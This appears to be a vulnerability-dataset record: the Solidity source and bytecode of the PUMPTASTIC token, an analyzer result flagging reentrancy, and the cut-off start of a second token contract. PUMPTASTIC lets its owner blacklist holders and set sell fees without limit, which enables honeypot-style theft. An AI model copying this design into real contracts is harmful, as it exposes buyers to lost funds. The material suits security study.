swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PUMPTASTIC is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PUMPTASTIC"; string private constant _symbol = "PUMP"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; // uint256 private _taxFeeOnBuy = 0; // no buy tax //Sell Fee uint256 private _redisFeeOnSell = 0; // uint256 private _taxFeeOnSell = 5; // 5% sell tax //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x32116baFc037D106004334C6B9aB477b0c6BCa6E);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0x32116baFc037D106004334C6B9aB477b0c6BCa6E);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000000000 * 10**9; // uint256 public _maxWalletSize = 100000000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051f578063dd62ed3e1461053f578063ea1644d514610585578063f2fde38b146105a557600080fd5b8063a2a957bb1461049a578063a9059cbb146104ba578063bfd79284146104da578063c3c8cd801461050a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104175780638f9a55c01461043757806395d89b411461044d57806398a5c3151461047a57600080fd5b806374010ece146103c35780637d1db4a5146103e35780638da5cb5b146103f957600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103595780636fc3eaec1461037957806370a082311461038e578063715018a6146103ae57600080fd5b8063313ce567146102fd57806349bd5a5e146103195780636b9990531461033957600080fd5b80631694505e116101a05780631694505e1461026857806318160ddd146102a057806323b872dd146102c75780632fd689e3146102e757600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023857600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611aef565b6105c5565b005b3480156101ff57600080fd5b5060408051808201909152600a81526950554d5054415354494360b01b60208201525b60405161022f9190611c19565b60405180910390f35b34801561024457600080fd5b50610258610253366004611a45565b610672565b604051901515815260200161022f565b34801561027457600080fd5b50601454610288906001600160a01b031681565b6040516001600160a01b03909116815260200161022f565b3480156102ac57600080fd5b5069152d02c7e14af68000005b60405190815260200161022f565b3480156102d357600080fd5b506102586102e2366004611a05565b610689565b3480156102f357600080fd5b506102b960185481565b34801561030957600080fd5b506040516009815260200161022f565b34801561032557600080fd5b50601554610288906001600160a01b031681565b34801561034557600080fd5b506101f1610354366004611995565b6106f2565b34801561036557600080fd5b506101f1610374366004611bb6565b61073d565b34801561038557600080fd5b506101f1610785565b34801561039a57600080fd5b506102b96103a9366004611995565b6107d0565b3480156103ba57600080fd5b506101f16107f2565b3480156103cf57600080fd5b506101f16103de366004611bd0565b610866565b3480156103ef57600080fd5b506102b960165481565b34801561040557600080fd5b506000546001600160a01b0316610288565b34801561042357600080fd5b506101f1610432366004611bb6565b610895565b34801561044357600080fd5b506102b960175481565b34801561045957600080fd5b50604080518082019091526004815263050554d560e41b6020820152610222565b34801561048657600080fd5b506101f1610495366004611bd0565b6108dd565b3480156104a657600080fd5b506101f16104b5366004611be8565b61090c565b3480156104c657600080fd5b506102586104d5366004611a45565b61094a565b3480156104e657600080fd5b506102586104f5366004611995565b60106020526000908152604090205460ff1681565b34801561051657600080fd5b506101f1610957565b34801561052b57600080fd5b506101f161053a366004611a70565b6109ab565b34801561054b57600080fd5b506102b961055a3660046119cd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059157600080fd5b506101f16105a0366004611bd0565b610a5a565b3480156105b157600080fd5b506101f16105c0366004611995565b610a89565b6000546001600160a01b031633146105f85760405162461bcd60e51b81526004016105ef90611c6c565b60405180910390fd5b60005b815181101561066e5760016010600084848151811061062a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066681611d7f565b9150506105fb565b5050565b600061067f338484610b73565b5060015b92915050565b6000610696848484610c97565b6106e884336106e385604051806060016040528060288152602001611ddc602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d3565b610b73565b5060019392505050565b6000546001600160a01b0316331461071c5760405162461bcd60e51b81526004016105ef90611c6c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107675760405162461bcd60e51b81526004016105ef90611c6c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ba57506013546001600160a01b0316336001600160a01b0316145b6107c357600080fd5b476107cd8161120d565b50565b6001600160a01b03811660009081526002602052604081205461068390611292565b6000546001600160a01b0316331461081c5760405162461bcd60e51b81526004016105ef90611c6c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108905760405162461bcd60e51b81526004016105ef90611c6c565b601655565b6000546001600160a01b031633146108bf5760405162461bcd60e51b81526004016105ef90611c6c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109075760405162461bcd60e51b81526004016105ef90611c6c565b601855565b6000546001600160a01b031633146109365760405162461bcd60e51b81526004016105ef90611c6c565b600893909355600a91909155600955600b55565b600061067f338484610c97565b6012546001600160a01b0316336001600160a01b0316148061098c57506013546001600160a01b0316336001600160a01b0316145b61099557600080fd5b60006109a0306107d0565b90506107cd81611316565b6000546001600160a01b031633146109d55760405162461bcd60e51b81526004016105ef90611c6c565b60005b82811015610a54578160056000868685818110610a0557634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a1a9190611995565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4c81611d7f565b9150506109d8565b50505050565b6000546001600160a01b03163314610a845760405162461bcd60e51b81526004016105ef90611c6c565b601755565b6000546001600160a01b03163314610ab35760405162461bcd60e51b81526004016105ef90611c6c565b6001600160a01b038116610b185760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ef565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ef565b6001600160a01b038216610c365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ef565b6001600160a01b038216610d5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ef565b60008111610dbf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ef565b6000546001600160a01b03848116911614801590610deb57506000546001600160a01b03838116911614155b156110cc57601554600160a01b900460ff16610e84576000546001600160a01b03848116911614610e845760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ef565b601654811115610ed65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ef565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1857506001600160a01b03821660009081526010602052604090205460ff16155b610f705760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ef565b6015546001600160a01b03838116911614610ff55760175481610f92846107d0565b610f9c9190611d11565b10610ff55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ef565b6000611000306107d0565b6018546016549192508210159082106110195760165491505b8080156110305750601554600160a81b900460ff16155b801561104a57506015546001600160a01b03868116911614155b801561105f5750601554600160b01b900460ff165b801561108457506001600160a01b03851660009081526005602052604090205460ff16155b80156110a957506001600160a01b03841660009081526005602052604090205460ff16155b156110c9576110b782611316565b4780156110c7576110c74761120d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110e57506001600160a01b03831660009081526005602052604090205460ff165b8061114057506015546001600160a01b0385811691161480159061114057506015546001600160a01b03848116911614155b1561114d575060006111c7565b6015546001600160a01b03858116911614801561117857506014546001600160a01b03848116911614155b1561118a57600854600c55600954600d555b6015546001600160a01b0384811691161480156111b557506014546001600160a01b03858116911614155b156111c757600a54600c55600b54600d555b610a54848484846114bb565b600081848411156111f75760405162461bcd60e51b81526004016105ef9190611c19565b5060006112048486611d68565b95945050505050565b6012546001600160a01b03166108fc6112278360026114e9565b6040518115909202916000818181858888f1935050505015801561124f573d6000803e3d6000fd5b506013546001600160a01b03166108fc61126a8360026114e9565b6040518115909202916000818181858888f1935050505015801561066e573d6000803e3d6000fd5b60006006548211156112f95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ef565b600061130361152b565b905061130f83826114e9565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113c057600080fd5b505afa1580156113d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f891906119b1565b8160018151811061141957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143f9130911684610b73565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611478908590600090869030904290600401611ca1565b600060405180830381600087803b15801561149257600080fd5b505af11580156114a6573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c8576114c861154e565b6114d384848461157c565b80610a5457610a54600e54600c55600f54600d55565b600061130f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611673565b60008060006115386116a1565b909250905061154782826114e9565b9250505090565b600c5415801561155e5750600d54155b1561156557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158e876116e5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c09087611742565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ef9086611784565b6001600160a01b038916600090815260026020526040902055611611816117e3565b61161b848361182d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166091815260200190565b60405180910390a3505050505050505050565b600081836116945760405162461bcd60e51b81526004016105ef9190611c19565b5060006112048486611d29565b600654600090819069152d02c7e14af68000006116be82826114e9565b8210156116dc5750506006549269152d02c7e14af680000092509050565b90939092509050565b60008060008060008060008060006117028a600c54600d54611851565b925092509250600061171261152b565b905060008060006117258e8787876118a6565b919e509c509a509598509396509194505050505091939550919395565b600061130f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d3565b6000806117918385611d11565b90508381101561130f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ef565b60006117ed61152b565b905060006117fb83836118f6565b306000908152600260205260409020549091506118189082611784565b30600090815260026020526040902055505050565b60065461183a9083611742565b60065560075461184a9082611784565b6007555050565b600080808061186b606461186589896118f6565b906114e9565b9050600061187e60646118658a896118f6565b90506000611896826118908b86611742565b90611742565b9992985090965090945050505050565b60008080806118b588866118f6565b905060006118c388876118f6565b905060006118d188886118f6565b905060006118e3826118908686611742565b939b939a50919850919650505050505050565b60008261190557506000610683565b60006119118385611d49565b90508261191e8583611d29565b1461130f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ef565b803561198081611dc6565b919050565b8035801515811461198057600080fd5b6000602082840312156119a6578081fd5b813561130f81611dc6565b6000602082840312156119c2578081fd5b815161130f81611dc6565b600080604083850312156119df578081fd5b82356119ea81611dc6565b915060208301356119fa81611dc6565b809150509250929050565b600080600060608486031215611a19578081fd5b8335611a2481611dc6565b92506020840135611a3481611dc6565b929592945050506040919091013590565b60008060408385031215611a57578182fd5b8235611a6281611dc6565b946020939093013593505050565b600080600060408486031215611a84578283fd5b833567ffffffffffffffff80821115611a9b578485fd5b818601915086601f830112611aae578485fd5b813581811115611abc578586fd5b8760208260051b8501011115611ad0578586fd5b602092830195509350611ae69186019050611985565b90509250925092565b60006020808385031215611b01578182fd5b823567ffffffffffffffff80821115611b18578384fd5b818501915085601f830112611b2b578384fd5b813581811115611b3d57611b3d611db0565b8060051b604051601f19603f83011681018181108582111715611b6257611b62611db0565b604052828152858101935084860182860187018a1015611b80578788fd5b8795505b83861015611ba957611b9581611975565b855260019590950194938601938601611b84565b5098975050505050505050565b600060208284031215611bc7578081fd5b61130f82611985565b600060208284031215611be1578081fd5b5035919050565b60008060008060808587031215611bfd578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4557858101830151858201604001528201611c29565b81811115611c565783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cf05784516001600160a01b031683529383019391830191600101611ccb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2457611d24611d9a565b500190565b600082611d4457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d6357611d63611d9a565b500290565b600082821015611d7a57611d7a611d9a565b500390565b6000600019821415611d9357611d93611d9a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220acfc9410c16eb9a5b6df11bcf1c36133e7687f22cda19abad1f0ae6227b9139564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
13
0xbf735e81778b5d6cea611bd95961aab11e648346
pragma solidity ^0.4.19; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TonalQuantum is StandardToken, Ownable { string public name = "Tonal Quantum Token"; string public symbol = "TOQ"; uint8 public decimals = 18; uint public INITIAL_SUPPLY = 300000000; event Bless(address indexed from, string words, uint256 value); event LogBuy(address user, uint amount); function TonalQuantum() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } function buy() payable public returns (bool) { require(msg.value >= 0.00005 ether); uint _value = msg.value / 0.00005 ether; balances[owner] = balances[owner].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); LogBuy(msg.sender, _value); return true; } function bless(string _words, uint256 _value) public returns (bool) { require(_value >= bytes(_words).length); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[owner] = 